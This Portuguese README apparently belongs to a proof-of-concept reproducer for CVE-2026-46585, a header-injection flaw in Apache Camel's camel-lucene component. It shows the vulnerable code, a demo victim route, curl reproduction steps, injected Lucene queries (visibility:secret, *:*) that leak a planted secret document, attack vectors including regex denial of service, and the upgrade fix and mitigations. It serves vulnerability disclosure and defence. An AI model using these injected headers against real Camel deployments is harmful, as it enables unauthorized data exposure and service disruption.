Reprodutor de Injeção de Cabeçalho QUERY do camel-lucene (CVE-2026-46585)

Este projeto demonstra uma injeção de cabeçalho de mensagem / bypass de autorização no componente camel-lucene do Apache Camel, rastreado como CVE-2026-46585. O produtor de consulta Lucene lê a frase de pesquisa em texto completo de um cabeçalho do Exchange, mas o nome do cabeçalho era a string simples QUERY (e RETURN_LUCENE_DOCS para o sinalizador de documentos). Como esses nomes não começam com o prefixo Camel / camel, o HttpHeaderFilterStrategy — que bloqueia apenas o namespace de cabeçalhos Camel na fronteira HTTP — permitia que eles passassem de uma solicitação HTTP de entrada diretamente para o Exchange. Qualquer cliente HTTP que acesse uma rota que exponha uma consulta Lucene atrás de um consumidor HTTP pode, portanto, definir o cabeçalho QUERY e ter seu valor executado contra o índice, substituindo a consulta que a rota pretendia executar.

Esta PoC demonstra o impacto como bypass de autorização / exfiltração de dados: um cliente não autenticado injeta sintaxe bruta de consulta Lucene para ler um documento que o endpoint público de pesquisa nunca deveria retornar (e uma consulta match-all despeja o índice inteiro).

Comunicado de segurança: https://camel.apache.org/security/CVE-2026-46585.html

Resumo da Vulnerabilidade

Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 e CVE-2026-46457, e compartilha a causa raiz de constante de cabeçalho sem prefixo Camel com o irmão camel-elasticsearch SEARCH_QUERY.

Detalhes Técnicos

// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";

// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
    searcher.open(indexDirectory, analyzer);
    hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs);   // attacker-controlled
}

O LuceneSearcher analisa a frase com um QueryParser("contents", analyzer) clássico, então o atacante obtém a sintaxe completa de consulta Lucene: termos com campo (visibility:secret), match-all (*:*), curingas e expressões regulares caras.

A correção (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) renomeia os valores dos cabeçalhos para a convenção Camel — HEADER_QUERY de QUERY para CamelLuceneQuery, e HEADER_RETURN_LUCENE_DOCS para CamelLuceneReturnLuceneDocs — de modo que eles sejam filtrados na fronteira HTTP como qualquer outro cabeçalho de controle Camel. Os nomes dos campos constantes não mudam (rotas que referenciam LuceneConstants.HEADER_QUERY continuam funcionando); é uma mudança disruptiva apenas para rotas que definem/leem esses cabeçalhos pelo valor de string bruto.

A rota vítima

from("platform-http:/search")
    .removeHeaders("Camel*")                                  // documented hardening — see below
    .to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
    .process(/* render the Hits as text */);

O modelo de segurança do autor da rota é "este endpoint serve apenas pesquisa pública". Como endurecimento documentado, a rota inclusive remove o namespace de cabeçalhos de controle Camel na borda com removeHeaders("Camel*"). Isso não ajuda: o cabeçalho de controle se chama QUERY, não CamelLuceneQuery, portanto não é removido nem por essa chamada nem pelo filtro de cabeçalhos HTTP embutido — o que é exatamente o ponto do CVE (e exatamente o que a renomeação da correção resolve).

O índice contém três documentos públicos mais um documento secreto marcado com visibility:secret cujo corpo carrega um marcador de flag benigno. Uma pesquisa pública normal (QUERY=onboarding, um termo simples contra o campo padrão contents) nunca o retorna; uma consulta de campo injetada retorna.

Estrutura do repositório

A vítima é a rota de pesquisa Camel e seu índice; o atacante é um cliente HTTP não autenticado que apenas define um cabeçalho de solicitação. Tudo roda em um único aplicativo autocontido.

CVE-2026-46585/
├── pom.xml                 # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── IndexConfig.java          # registers the index directory as a Camel bean (#kbIndexDir)
    │   ├── IndexBootstrap.java       # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
    │   ├── VictimRoute.java          # from("platform-http:/search").to("lucene:kb:query")
    │   └── ExploitController.java    # attacker: GET /search with an injected QUERY header
    └── resources/
        └── application.properties

Pré-requisitos

• Java 17+ e Maven 3.8+
• Docker (opcional, para a execução conteinerizada)

Etapas de Reprodução

Opção A — Docker (recomendada)

mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

Opção B — executar o jar diretamente

mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack

Saída esperada

=== 1) Legitimate public search (QUERY=onboarding) ===
  hits=2
    - Frequently asked questions about billing and account onboarding.
    - Welcome onboarding guide: how to use the public knowledge base and search for articles.
  secret leaked: false

=== 2) Injected query (QUERY=visibility:secret) ===
  hits=1
    - CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
  secret leaked: true

=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
  hits=4
    - ... (every document, including the secret one) ...

>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true

A pesquisa por termo legítima retorna apenas documentos públicos. A solicitação de ataque — diferindo apenas pelo valor de um único cabeçalho que o framework deveria ter filtrado — lê o documento secreto, e uma consulta match-all retorna o índice inteiro.

Vetores de Ataque

Qualquer rota com um produtor lucene:...:query acessível a partir de um consumidor HTTP. Além de ler documentos não pretendidos, o atacante pode:

• Substituir o filtro por usuário/tenant pretendido da rota por *:* ou um predicado de campo diferente (bypass de autorização).
• Enviar consultas caras de curinga / expressão regular para queimar CPU (negação de serviço).

Correção Recomendada

Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). Após a atualização, rotas que definem a consulta pelo nome bruto do cabeçalho devem usar CamelLuceneQuery (e CamelLuceneReturnLuceneDocs) em vez de QUERY / RETURN_LUCENE_DOCS; esses nomes com namespace Camel são filtrados na fronteira HTTP como qualquer outro cabeçalho de controle.

Mitigação

Até atualizar:

1. Remova os cabeçalhos controláveis pelo atacante antes do produtor Lucene e defina a consulta a partir de uma fonte confiável: .removeHeader("QUERY") e .removeHeader("RETURN_LUCENE_DOCS"), e então .setHeader("QUERY", constant(...)) (ou construa-o a partir de entrada validada) no início da rota.
2. Não exponha um produtor de consulta Lucene diretamente a clientes HTTP não confiáveis sem uma verificação de autorização sobre o que pode ser consultado.

Aviso Legal

Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.